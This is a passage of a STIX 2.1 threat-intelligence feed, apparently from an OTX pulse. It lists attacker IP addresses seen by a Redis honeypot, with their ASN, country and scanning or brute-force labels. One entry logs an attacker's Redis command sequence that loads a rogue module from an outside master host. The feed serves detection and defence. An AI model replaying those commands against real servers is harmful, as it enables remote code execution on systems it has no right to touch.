      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-05-01T07:25:06.000Z",
      "valid_until": "2026-06-02T07:25:04.000Z"
    },
    {
      "created": "2026-05-01T08:25:11.000Z",
      "description": "Attacker IP \u2022 Redis / seen in Redishoneypot; events=5; ports=6379; cc=CN; asn=137718; asn_org=Beijing Volcano Engine Technology Co., Ltd.; redis_cmd_hits=0",
      "id": "indicator--3308d8b9-770d-45ab-b0d5-44fa226df1ed",
      "labels": [
        "scanning_host"
      ],
      "modified": "2026-05-01T08:25:11.000Z",
      "name": "OTX pulse_name=Redishoneypot \u2192 Attacker IPs \u2013 Australia \u2013 May 2026",
      "pattern": "[ipv4-addr:value = '101.96.215.50']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-05-01T08:25:11.000Z",
      "valid_until": "2026-06-02T08:25:10.000Z"
    },
    {
      "created": "2026-05-01T08:25:11.000Z",
      "description": "Attacker IP \u2022 Redis / seen in Redishoneypot; events=23; ports=6379; cc=US; asn=8075; asn_org=Microsoft Corporation; redis_cmd_hits=0",
      "id": "indicator--440c4d77-a278-4f7c-a0f1-ab16321cdd6c",
      "labels": [
        "bruteforce"
      ],
      "modified": "2026-05-01T08:25:11.000Z",
      "name": "OTX pulse_name=Redishoneypot \u2192 Attacker IPs \u2013 Australia \u2013 May 2026",
      "pattern": "[ipv4-addr:value = '13.89.125.224']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-05-01T08:25:11.000Z",
      "valid_until": "2026-06-02T08:25:10.000Z"
    },
    {
      "created": "2026-05-01T11:25:10.000Z",
      "description": "Attacker IP \u2022 Redis / seen in Redishoneypot; events=5; ports=6379; cc=DE; asn=14061; asn_org=DigitalOcean, LLC; redis_cmd_hits=0",
      "id": "indicator--33eca3b2-eb24-4320-9bfd-e4a0fb183b2a",
      "labels": [
        "scanning_host"
      ],
      "modified": "2026-05-01T11:25:10.000Z",
      "name": "OTX pulse_name=Redishoneypot \u2192 Attacker IPs \u2013 Australia \u2013 May 2026",
      "pattern": "[ipv4-addr:value = '157.230.101.158']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-05-01T11:25:10.000Z",
      "valid_until": "2026-06-02T11:25:09.000Z"
    },
    {
      "created": "2026-05-01T13:25:10.000Z",
      "description": "Attacker IP \u2022 Redis / seen in Redishoneypot; events=5; ports=6379; cc=CN; asn=4811; asn_org=China Telecom Group; redis_cmd_hits=0",
      "id": "indicator--5bf1402a-bd71-42ff-a830-dfe3cdef25ab",
      "labels": [
        "scanning_host"
      ],
      "modified": "2026-05-01T13:25:10.000Z",
      "name": "OTX pulse_name=Redishoneypot \u2192 Attacker IPs \u2013 Australia \u2013 May 2026",
      "pattern": "[ipv4-addr:value = '14.103.198.15']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-05-01T13:25:10.000Z",
      "valid_until": "2026-06-02T13:25:09.000Z"
    },
    {
      "created": "2026-05-01T13:25:10.000Z",
      "description": "Attacker IP \u2022 Redis / seen in Redishoneypot; events=5; ports=6379; cc=US; asn=63949; asn_org=Akamai Connected Cloud; redis_cmd_hits=0",
      "id": "indicator--58d1c192-57e6-46b4-b9fd-a4e6aa23a049",
      "labels": [
        "scanning_host"
      ],
      "modified": "2026-05-01T13:25:10.000Z",
      "name": "OTX pulse_name=Redishoneypot \u2192 Attacker IPs \u2013 Australia \u2013 May 2026",
      "pattern": "[ipv4-addr:value = '172.234.218.22']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-05-01T13:25:10.000Z",
      "valid_until": "2026-06-02T13:25:09.000Z"
    },
    {
      "created": "2026-05-01T13:25:10.000Z",
      "description": "Attacker IP \u2022 Redis / seen in Redishoneypot; events=26; ports=6379; cc=US; asn=6939; asn_org=Hurricane Electric LLC; redis_cmd_hits=0",
      "id": "indicator--1a5cf57b-2eb4-4eaf-9fbb-f98da58540dc",
      "labels": [
        "bruteforce"
      ],
      "modified": "2026-05-01T13:25:10.000Z",
      "name": "OTX pulse_name=Redishoneypot \u2192 Attacker IPs \u2013 Australia \u2013 May 2026",
      "pattern": "[ipv4-addr:value = '65.49.1.66']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-05-01T13:25:10.000Z",
      "valid_until": "2026-06-02T13:25:09.000Z"
    },
    {
      "created": "2026-05-01T13:25:10.000Z",
      "description": "Attacker IP \u2022 Redis / seen in Redishoneypot; events=4; ports=6379; cc=US; asn=6939; asn_org=Hurricane Electric LLC; redis_cmd_hits=0",
      "id": "indicator--0381b1d3-d52b-4ce7-82f1-2ff6b28d4971",
      "labels": [
        "scanning_host"
      ],
      "modified": "2026-05-01T13:25:10.000Z",
      "name": "OTX pulse_name=Redishoneypot \u2192 Attacker IPs \u2013 Australia \u2013 May 2026",
      "pattern": "[ipv4-addr:value = '65.49.1.72']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-05-01T13:25:10.000Z",
      "valid_until": "2026-06-02T13:25:09.000Z"
    },
    {
      "created": "2026-05-01T14:25:14.000Z",
      "description": "Attacker IP \u2022 Redis / seen in Redishoneypot; events=4; ports=6379; cc=CN; asn=4811; asn_org=China Telecom Group; redis_cmd_hits=0",
      "id": "indicator--9243f9a2-9c69-4645-bb2e-80f5c669de02",
      "labels": [
        "scanning_host"
      ],
      "modified": "2026-05-01T14:25:14.000Z",
      "name": "OTX pulse_name=Redishoneypot \u2192 Attacker IPs \u2013 Australia \u2013 May 2026",
      "pattern": "[ipv4-addr:value = '114.80.35.241']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-05-01T14:25:14.000Z",
      "valid_until": "2026-06-02T14:25:09.000Z"
    },
    {
      "created": "2026-05-01T14:25:14.000Z",
      "description": "Attacker IP \u2022 Redis / seen in Redishoneypot; events=10; ports=6379; cc=CN; asn=9808; asn_org=China Mobile Communications Group Co., Ltd.; redis_cmd_hits=0",
      "id": "indicator--6a774260-42c8-45de-a2bd-ed00e4878fd7",
      "labels": [
        "bruteforce"
      ],
      "modified": "2026-05-01T14:25:14.000Z",
      "name": "OTX pulse_name=Redishoneypot \u2192 Attacker IPs \u2013 Australia \u2013 May 2026",
      "pattern": "[ipv4-addr:value = '120.205.80.220']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-05-01T14:25:14.000Z",
      "valid_until": "2026-06-02T14:25:09.000Z"
    },
    {
      "created": "2026-05-01T14:25:14.000Z",
      "description": "Attacker IP \u2022 Redis / seen in Redishoneypot; events=9; ports=6379; cc=CN; asn=135089; asn_org=China Telecom; redis_cmd_hits=0",
      "id": "indicator--7d789f6c-f1e0-49b6-80a2-018b39900f22",
      "labels": [
        "bruteforce"
      ],
      "modified": "2026-05-01T14:25:14.000Z",
      "name": "OTX pulse_name=Redishoneypot \u2192 Attacker IPs \u2013 Australia \u2013 May 2026",
      "pattern": "[ipv4-addr:value = '183.56.219.190']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-05-01T14:25:14.000Z",
      "valid_until": "2026-06-02T14:25:09.000Z"
    },
    {
      "created": "2026-05-01T14:25:14.000Z",
      "description": "Attacker IP \u2022 Redis / seen in Redishoneypot; events=6; ports=6379; cc=DE; asn=24940; asn_org=Hetzner Online GmbH; redis_cmd_hits=0",
      "id": "indicator--e1f6acc7-9b93-48d9-a573-e34f34ddb01f",
      "labels": [
        "scanning_host"
      ],
      "modified": "2026-05-01T14:25:14.000Z",
      "name": "OTX pulse_name=Redishoneypot \u2192 Attacker IPs \u2013 Australia \u2013 May 2026",
      "pattern": "[ipv4-addr:value = '195.201.89.250']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-05-01T14:25:14.000Z",
      "valid_until": "2026-06-02T14:25:09.000Z"
    },
    {
      "created": "2026-05-01T15:25:05.000Z",
      "description": "Attacker IP \u2022 Redis / seen in Redishoneypot; events=5; ports=6379; cc=CN; asn=58519; asn_org=Cloud Computing Corporation; redis_cmd_hits=0",
      "id": "indicator--3aefed46-f5c1-4d75-a2e4-fd9be341e368",
      "labels": [
        "scanning_host"
      ],
      "modified": "2026-05-01T15:25:05.000Z",
      "name": "OTX pulse_name=Redishoneypot \u2192 Attacker IPs \u2013 Australia \u2013 May 2026",
      "pattern": "[ipv4-addr:value = '140.246.124.160']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-05-01T15:25:05.000Z",
      "valid_until": "2026-06-02T15:25:04.000Z"
    },
    {
      "created": "2026-05-01T16:25:10.000Z",
      "description": "Attacker IP \u2022 Redis / seen in Redishoneypot; events=5; ports=6379; cc=CN; asn=4837; asn_org=CHINA UNICOM China169 Backbone; redis_cmd_hits=0",
      "id": "indicator--7aa5a21a-4f63-48b0-84e0-9b056d368c08",
      "labels": [
        "scanning_host"
      ],
      "modified": "2026-05-01T16:25:10.000Z",
      "name": "OTX pulse_name=Redishoneypot \u2192 Attacker IPs \u2013 Australia \u2013 May 2026",
      "pattern": "[ipv4-addr:value = '122.191.115.237']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-05-01T16:25:10.000Z",
      "valid_until": "2026-06-02T16:25:09.000Z"
    },
    {
      "created": "2026-05-01T16:25:10.000Z",
      "description": "Attacker IP \u2022 Redis / seen in Redishoneypot; events=12; ports=6379; cc=US; asn=398324; asn_org=Censys, Inc.; redis_cmd_hits=0",
      "id": "indicator--ed173082-790f-4776-876e-e3b8d665e121",
      "labels": [
        "bruteforce"
      ],
      "modified": "2026-05-01T16:25:10.000Z",
      "name": "OTX pulse_name=Redishoneypot \u2192 Attacker IPs \u2013 Australia \u2013 May 2026",
      "pattern": "[ipv4-addr:value = '66.132.224.224']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-05-01T16:25:10.000Z",
      "valid_until": "2026-06-02T16:25:09.000Z"
    },
    {
      "created": "2026-05-01T18:25:10.000Z",
      "description": "Attacker IP \u2022 Redis / seen in Redishoneypot; events=15; ports=6379; cc=US; asn=8075; asn_org=Microsoft Corporation; redis_cmd_hits=0",
      "id": "indicator--cf24bd34-65b4-419c-ad39-a6d0cdc68017",
      "labels": [
        "bruteforce"
      ],
      "modified": "2026-05-01T18:25:10.000Z",
      "name": "OTX pulse_name=Redishoneypot \u2192 Attacker IPs \u2013 Australia \u2013 May 2026",
      "pattern": "[ipv4-addr:value = '52.188.224.110']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-05-01T18:25:10.000Z",
      "valid_until": "2026-06-02T18:25:09.000Z"
    },
    {
      "created": "2026-05-01T20:25:10.000Z",
      "description": "Attacker IP \u2022 Redis / seen in Redishoneypot; events=14; ports=6379; cc=US; asn=213412; asn_org=ONYPHE SAS; cats=Generic Protocol Command Decode; redis_cmd_hits=0",
      "id": "indicator--b55b89b8-7e67-4508-8fc2-28bdfc5d8fad",
      "labels": [
        "bruteforce"
      ],
      "modified": "2026-05-01T20:25:10.000Z",
      "name": "OTX pulse_name=Redishoneypot \u2192 Attacker IPs \u2013 Australia \u2013 May 2026",
      "pattern": "[ipv4-addr:value = '195.184.76.136']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-05-01T20:25:10.000Z",
      "valid_until": "2026-06-02T20:25:09.000Z"
    },
    {
      "created": "2026-05-01T20:25:10.000Z",
      "description": "Attacker IP \u2022 Redis / seen in Redishoneypot; events=13; ports=6379; cc=US; asn=213412; asn_org=ONYPHE SAS; cats=Generic Protocol Command Decode; redis_cmds=GET / HTTP/1.1; redis_cmd_hits=0",
      "id": "indicator--8e1621ab-427d-4879-ab4d-b3740a32e4cc",
      "labels": [
        "bruteforce"
      ],
      "modified": "2026-05-01T20:25:10.000Z",
      "name": "OTX pulse_name=Redishoneypot \u2192 Attacker IPs \u2013 Australia \u2013 May 2026",
      "pattern": "[ipv4-addr:value = '195.184.76.139']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-05-01T20:25:10.000Z",
      "valid_until": "2026-06-02T20:25:09.000Z"
    },
    {
      "created": "2026-05-01T20:25:10.000Z",
      "description": "Attacker IP \u2022 Redis / seen in Redishoneypot; events=4; ports=6379; cc=US; asn=14618; asn_org=Amazon.com, Inc.; redis_cmd_hits=0",
      "id": "indicator--c2760d42-3810-4bdd-b5b6-dbbe8697c7dd",
      "labels": [
        "scanning_host"
      ],
      "modified": "2026-05-01T20:25:10.000Z",
      "name": "OTX pulse_name=Redishoneypot \u2192 Attacker IPs \u2013 Australia \u2013 May 2026",
      "pattern": "[ipv4-addr:value = '34.193.119.44']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-05-01T20:25:10.000Z",
      "valid_until": "2026-06-02T20:25:09.000Z"
    },
    {
      "created": "2026-05-01T20:25:10.000Z",
      "description": "Attacker IP \u2022 Redis / seen in Redishoneypot; events=5; ports=6379; cc=CN; asn=58466; asn_org=CHINANET Guangdong province network; redis_cmd_hits=0",
      "id": "indicator--1065b016-75f7-4523-b9b5-bb5051811f9b",
      "labels": [
        "scanning_host"
      ],
      "modified": "2026-05-01T20:25:10.000Z",
      "name": "OTX pulse_name=Redishoneypot \u2192 Attacker IPs \u2013 Australia \u2013 May 2026",
      "pattern": "[ipv4-addr:value = '36.111.32.16']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-05-01T20:25:10.000Z",
      "valid_until": "2026-06-02T20:25:09.000Z"
    },
    {
      "created": "2026-05-01T20:25:10.000Z",
      "description": "Attacker IP \u2022 Redis / seen in Redishoneypot; events=6; ports=6379; cc=US; asn=213412; asn_org=ONYPHE SAS; redis_cmd_hits=0",
      "id": "indicator--a68ba487-2542-45f7-a000-33e5b76e4fbe",
      "labels": [
        "scanning_host"
      ],
      "modified": "2026-05-01T20:25:10.000Z",
      "name": "OTX pulse_name=Redishoneypot \u2192 Attacker IPs \u2013 Australia \u2013 May 2026",
      "pattern": "[ipv4-addr:value = '91.230.168.12']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-05-01T20:25:10.000Z",
      "valid_until": "2026-06-02T20:25:09.000Z"
    },
    {
      "created": "2026-05-01T21:25:11.000Z",
      "description": "Attacker IP \u2022 Redis / seen in Redishoneypot; events=9; ports=6379; cc=US; asn=396982; asn_org=Google LLC; cats=Generic Protocol Command Decode; redis_cmd_hits=0",
      "id": "indicator--71c55610-b9b5-431b-a16c-e90e89babef8",
      "labels": [
        "bruteforce"
      ],
      "modified": "2026-05-01T21:25:11.000Z",
      "name": "OTX pulse_name=Redishoneypot \u2192 Attacker IPs \u2013 Australia \u2013 May 2026",
      "pattern": "[ipv4-addr:value = '198.235.24.252']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-05-01T21:25:11.000Z",
      "valid_until": "2026-06-02T21:25:09.000Z"
    },
    {
      "created": "2026-05-01T23:25:10.000Z",
      "description": "Attacker IP \u2022 Redis / seen in Redishoneypot; events=5; ports=6379; cc=CN; asn=137718; asn_org=Beijing Volcano Engine Technology Co., Ltd.; redis_cmd_hits=0",
      "id": "indicator--c0e2e5a6-2ea7-46c8-97e7-31bc80f0817f",
      "labels": [
        "scanning_host"
      ],
      "modified": "2026-05-01T23:25:10.000Z",
      "name": "OTX pulse_name=Redishoneypot \u2192 Attacker IPs \u2013 Australia \u2013 May 2026",
      "pattern": "[ipv4-addr:value = '115.191.4.11']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-05-01T23:25:10.000Z",
      "valid_until": "2026-06-02T23:25:09.000Z"
    },
    {
      "created": "2026-05-02T00:25:09.000Z",
      "description": "Attacker IP \u2022 Redis / seen in Redishoneypot; events=20; ports=6379; cc=RU; asn=210259; asn_org=LLC Applied Computational Technologies; cats=Misc activity; redis_cmd_hits=0",
      "id": "indicator--221c2636-d37a-4ec1-a6c0-678c58f6dcf5",
      "labels": [
        "bruteforce"
      ],
      "modified": "2026-05-02T00:25:09.000Z",
      "name": "OTX pulse_name=Redishoneypot \u2192 Attacker IPs \u2013 Australia \u2013 May 2026",
      "pattern": "[ipv4-addr:value = '81.29.142.6']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-05-02T00:25:09.000Z",
      "valid_until": "2026-06-03T00:25:08.000Z"
    },
    {
      "created": "2026-05-02T01:25:08.000Z",
      "description": "Attacker IP \u2022 Redis / seen in Redishoneypot; events=5; ports=6379; cc=US; asn=16509; asn_org=Amazon.com, Inc.; redis_cmd_hits=0",
      "id": "indicator--0398371a-a457-4d26-866d-8d929750108b",
      "labels": [
        "scanning_host"
      ],
      "modified": "2026-05-02T01:25:08.000Z",
      "name": "OTX pulse_name=Redishoneypot \u2192 Attacker IPs \u2013 Australia \u2013 May 2026",
      "pattern": "[ipv4-addr:value = '18.189.74.1']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-05-02T01:25:08.000Z",
      "valid_until": "2026-06-03T01:25:07.000Z"
    },
    {
      "created": "2026-05-02T01:25:08.000Z",
      "description": "Attacker IP \u2022 Redis / seen in Redishoneypot; events=14; ports=6379; cc=US; asn=202425; asn_org=IP Volume inc; redis_cmd_hits=0",
      "id": "indicator--ffafaa18-14bd-4c40-a135-08974301211b",
      "labels": [
        "bruteforce"
      ],
      "modified": "2026-05-02T01:25:08.000Z",
      "name": "OTX pulse_name=Redishoneypot \u2192 Attacker IPs \u2013 Australia \u2013 May 2026",
      "pattern": "[ipv4-addr:value = '185.242.226.92']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-05-02T01:25:08.000Z",
      "valid_until": "2026-06-03T01:25:07.000Z"
    },
    {
      "created": "2026-05-02T03:25:11.000Z",
      "description": "Attacker IP \u2022 Redis / seen in Redishoneypot; events=13; ports=6379; cc=US; asn=16509; asn_org=Amazon.com, Inc.; cats=Generic Protocol Command Decode; redis_cmds=GET / HTTP/1.1; redis_cmd_hits=0",
      "id": "indicator--0ef48a76-5771-4d83-832a-c3ac9464f84c",
      "labels": [
        "bruteforce"
      ],
      "modified": "2026-05-02T03:25:11.000Z",
      "name": "OTX pulse_name=Redishoneypot \u2192 Attacker IPs \u2013 Australia \u2013 May 2026",
      "pattern": "[ipv4-addr:value = '16.58.56.214']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-05-02T03:25:11.000Z",
      "valid_until": "2026-06-03T03:25:09.000Z"
    },
    {
      "created": "2026-05-02T04:25:09.000Z",
      "description": "Attacker IP \u2022 Redis / seen in Redishoneypot; events=13; ports=6379; cc=RU; asn=214664; asn_org=JSC Buduschee; cats=Generic Protocol Command Decode,Misc activity; redis_cmd_hits=0",
      "id": "indicator--7bf855b2-2c0f-4087-9891-5b8464f4f553",
      "labels": [
        "bruteforce"
      ],
      "modified": "2026-05-02T04:25:09.000Z",
      "name": "OTX pulse_name=Redishoneypot \u2192 Attacker IPs \u2013 Australia \u2013 May 2026",
      "pattern": "[ipv4-addr:value = '45.91.64.6']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-05-02T04:25:09.000Z",
      "valid_until": "2026-06-03T04:25:08.000Z"
    },
    {
      "created": "2026-05-02T06:25:10.000Z",
      "description": "Attacker IP \u2022 Redis / seen in Redishoneypot; events=5; ports=6379; cc=US; asn=14061; asn_org=DigitalOcean, LLC; redis_cmd_hits=0",
      "id": "indicator--e0c8e1bc-5835-498f-acf6-66ea08fc52f5",
      "labels": [
        "scanning_host"
      ],
      "modified": "2026-05-02T06:25:10.000Z",
      "name": "OTX pulse_name=Redishoneypot \u2192 Attacker IPs \u2013 Australia \u2013 May 2026",
      "pattern": "[ipv4-addr:value = '157.230.84.144']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-05-02T06:25:10.000Z",
      "valid_until": "2026-06-03T06:25:09.000Z"
    },
    {
      "created": "2026-05-02T06:25:10.000Z",
      "description": "Attacker IP \u2022 Redis / seen in Redishoneypot; events=5; ports=6379; cc=CN; asn=23724; asn_org=IDC, China Telecommunications Corporation; redis_cmd_hits=0",
      "id": "indicator--bcf3d726-5eae-4327-b6ff-607cd1ddc93a",
      "labels": [
        "scanning_host"
      ],
      "modified": "2026-05-02T06:25:10.000Z",
      "name": "OTX pulse_name=Redishoneypot \u2192 Attacker IPs \u2013 Australia \u2013 May 2026",
      "pattern": "[ipv4-addr:value = '49.7.204.85']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-05-02T06:25:10.000Z",
      "valid_until": "2026-06-03T06:25:09.000Z"
    },
    {
      "created": "2026-05-02T06:25:10.000Z",
      "description": "Attacker IP \u2022 Redis / seen in Redishoneypot; events=38; ports=6379; cc=CN; asn=37963; asn_org=Hangzhou Alibaba Advertising Co.,Ltd.; cats=Generic Protocol Command Decode; redis_cmds=config set rdbcompression no,MODULE LOAD /tmp/exp.so,CONFIG SET dbfilename exp.so,config set rdbcompression yes,SLAVEOF 47.86.29.170 60119; redis_cmd_hits=0; cmd=\"SLAVEOF NO ONE\"",
      "id": "indicator--59c26dd8-1949-4ca0-a012-0c73717870ed",
      "labels": [
        "command_and_control"
      ],
      "modified": "2026-05-02T06:25:10.000Z",
      "name": "OTX pulse_name=Redishoneypot \u2192 Attacker IPs \u2013 Australia \u2013 May 2026",
      "pattern": "[ipv4-addr:value = '59.110.241.158']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-05-02T06:25:10.000Z",
      "valid_until": "2026-06-03T06:25:09.000Z"
    },
    {
      "created": "2026-05-02T08:25:10.000Z",
      "description": "Attacker IP \u2022 Redis / seen in Redishoneypot; events=5; ports=6379; cc=CN; asn=137718; asn_org=Beijing Volcano Engine Technology Co., Ltd.; redis_cmd_hits=0",
      "id": "indicator--923e630e-83ac-408c-a78e-0ab8969af41a",
      "labels": [
        "scanning_host"
      ],
      "modified": "2026-05-02T08:25:10.000Z",
      "name": "OTX pulse_name=Redishoneypot \u2192 Attacker IPs \u2013 Australia \u2013 May 2026",
      "pattern": "[ipv4-addr:value = '115.190.97.5']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-05-02T08:25:10.000Z",
      "valid_until": "2026-06-03T08:25:09.000Z"
    },
    {
      "created": "2026-05-02T08:25:10.000Z",
      "description": "Attacker IP \u2022 Redis / seen in Redishoneypot; events=17; ports=6379; cc=US; asn=14061; asn_org=DigitalOcean, LLC; redis_cmd_hits=0",
      "id": "indicator--acd8bb3c-41b1-426d-b5d9-c47394e9b9bb",
      "labels": [
        "bruteforce"
      ],
      "modified": "2026-05-02T08:25:10.000Z",
      "name": "OTX pulse_name=Redishoneypot \u2192 Attacker IPs \u2013 Australia \u2013 May 2026",
      "pattern": "[ipv4-addr:value = '146.190.216.206']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-05-02T08:25:10.000Z",
      "valid_until": "2026-06-03T08:25:09.000Z"
    },
    {
      "created": "2026-05-02T08:25:10.000Z",
      "description": "Attacker IP \u2022 Redis / seen in Redishoneypot; events=20; ports=6379; cc=US; asn=14061; asn_org=DigitalOcean, LLC; redis_cmd_hits=0",
      "id": "indicator--e59c68c9-cc0e-427f-bb79-7258e15e9d0c",
      "labels": [
        "bruteforce"
      ],
      "modified": "2026-05-02T08:25:10.000Z",
      "name": "OTX pulse_name=Redishoneypot \u2192 Attacker IPs \u2013 Australia \u2013 May 2026",
      "pattern": "[ipv4-addr:value = '192.241.128.71']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-05-02T08:25:10.000Z",
      "valid_until": "2026-06-03T08:25:09.000Z"
    },
    {
      "created": "2026-05-02T08:25:10.000Z",
      "description": "Attacker IP \u2022 Redis / seen in Redishoneypot; events=4; ports=6379; cc=US; asn=211607; asn_org=Securitytrails, LLC; redis_cmd_hits=0",
      "id": "indicator--67d50eeb-467f-46ad-b176-91b71dc3ff69",
      "labels": [
        "scanning_host"
      ],
      "modified": "2026-05-02T08:25:10.000Z",
      "name": "OTX pulse_name=Redishoneypot \u2192 Attacker IPs \u2013 Australia \u2013 May 2026",
      "pattern": "[ipv4-addr:value = '193.3.53.10']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-05-02T08:25:10.000Z",
      "valid_until": "2026-06-03T08:25:09.000Z"
    },
    {
      "created": "2026-05-02T08:25:10.000Z",
      "description": "Attacker IP \u2022 Redis / seen in Redishoneypot; events=20; ports=6379; cc=US; asn=14061; asn_org=DigitalOcean, LLC; cats=Detection of a Network Scan,Generic Protocol Command Decode; redis_cmds=GET / HTTP/1.1; redis_cmd_hits=0",
      "id": "indicator--df43089e-9472-4f28-93fc-89375b7e9607",
      "labels": [
        "bruteforce"
      ],
      "modified": "2026-05-02T08:25:10.000Z",
      "name": "OTX pulse_name=Redishoneypot \u2192 Attacker IPs \u2013 Australia \u2013 May 2026",
      "pattern": "[ipv4-addr:value = '64.23.241.205']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-05-02T08:25:10.000Z",
      "valid_until": "2026-06-03T08:25:09.000Z"
    },
    {
      "created": "2026-05-02T09:25:11.000Z",
      "description": "Attacker IP \u2022 Redis / seen in Redishoneypot; events=5; ports=6379; cc=CN; asn=4808; asn_org=China Unicom Beijing Province Network; redis_cmd_hits=0",
      "id": "indicator--be228942-a4f7-4f03-8539-52b51a045543",
      "labels": [
        "scanning_host"
      ],
      "modified": "2026-05-02T09:25:11.000Z",
      "name": "OTX pulse_name=Redishoneypot \u2192 Attacker IPs \u2013 Australia \u2013 May 2026",
      "pattern": "[ipv4-addr:value = '106.75.16.140']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-05-02T09:25:11.000Z",
      "valid_until": "2026-06-03T09:25:10.000Z"
    },
    {
      "created": "2026-05-02T09:25:11.000Z",
      "description": "Attacker IP \u2022 Redis / seen in Redishoneypot; events=5; ports=6379; cc=CN; asn=4808; asn_org=China Unicom Beijing Province Network; redis_cmd_hits=0",
      "id": "indicator--ef8ebcfc-eb9b-4204-a412-af69b45ffece",
      "labels": [
        "scanning_host"
      ],
      "modified": "2026-05-02T09:25:11.000Z",
      "name": "OTX pulse_name=Redishoneypot \u2192 Attacker IPs \u2013 Australia \u2013 May 2026",
      "pattern": "[ipv4-addr:value = '120.132.84.17']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-05-02T09:25:11.000Z",
      "valid_until": "2026-06-03T09:25:10.000Z"
    },
    {
      "created": "2026-05-02T09:25:11.000Z",
      "description": "Attacker IP \u2022 Redis / seen in Redishoneypot; events=5; ports=6379; cc=CN; asn=38365; asn_org=Beijing Baidu Netcom Science and Technology Co., Ltd.; redis_cmd_hits=0",
      "id": "indicator--fd4cfe9b-30d5-414d-8904-0ff494ec4118",
      "labels": [
        "scanning_host"
      ],
      "modified": "2026-05-02T09:25:11.000Z",
      "name": "OTX pulse_name=Redishoneypot \u2192 Attacker IPs \u2013 Australia \u2013 May 2026",
      "pattern": "[ipv4-addr:value = '120.48.43.118']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-05-02T09:25:11.000Z",
      "valid_until": "2026-06-03T09:25:10.000Z"
    },
    {
      "created": "2026-05-02T09:25:11.000Z",
      "description": "Attacker IP \u2022 Redis / seen in Redishoneypot; events=12; ports=6379; cc=NL; asn=202425; asn_org=IP Volume inc; cats=Generic Protocol Command Decode; redis_cmds=GET / HTTP/1.0; redis_cmd_hits=0",
      "id": "indicator--41eff508-cf9f-46cb-9dc7-999c952d0089",
      "labels": [
        "bruteforce"
      ],
      "modified": "2026-05-02T09:25:11.000Z",
      "name": "OTX pulse_name=Redishoneypot \u2192 Attacker IPs \u2013 Australia \u2013 May 2026",
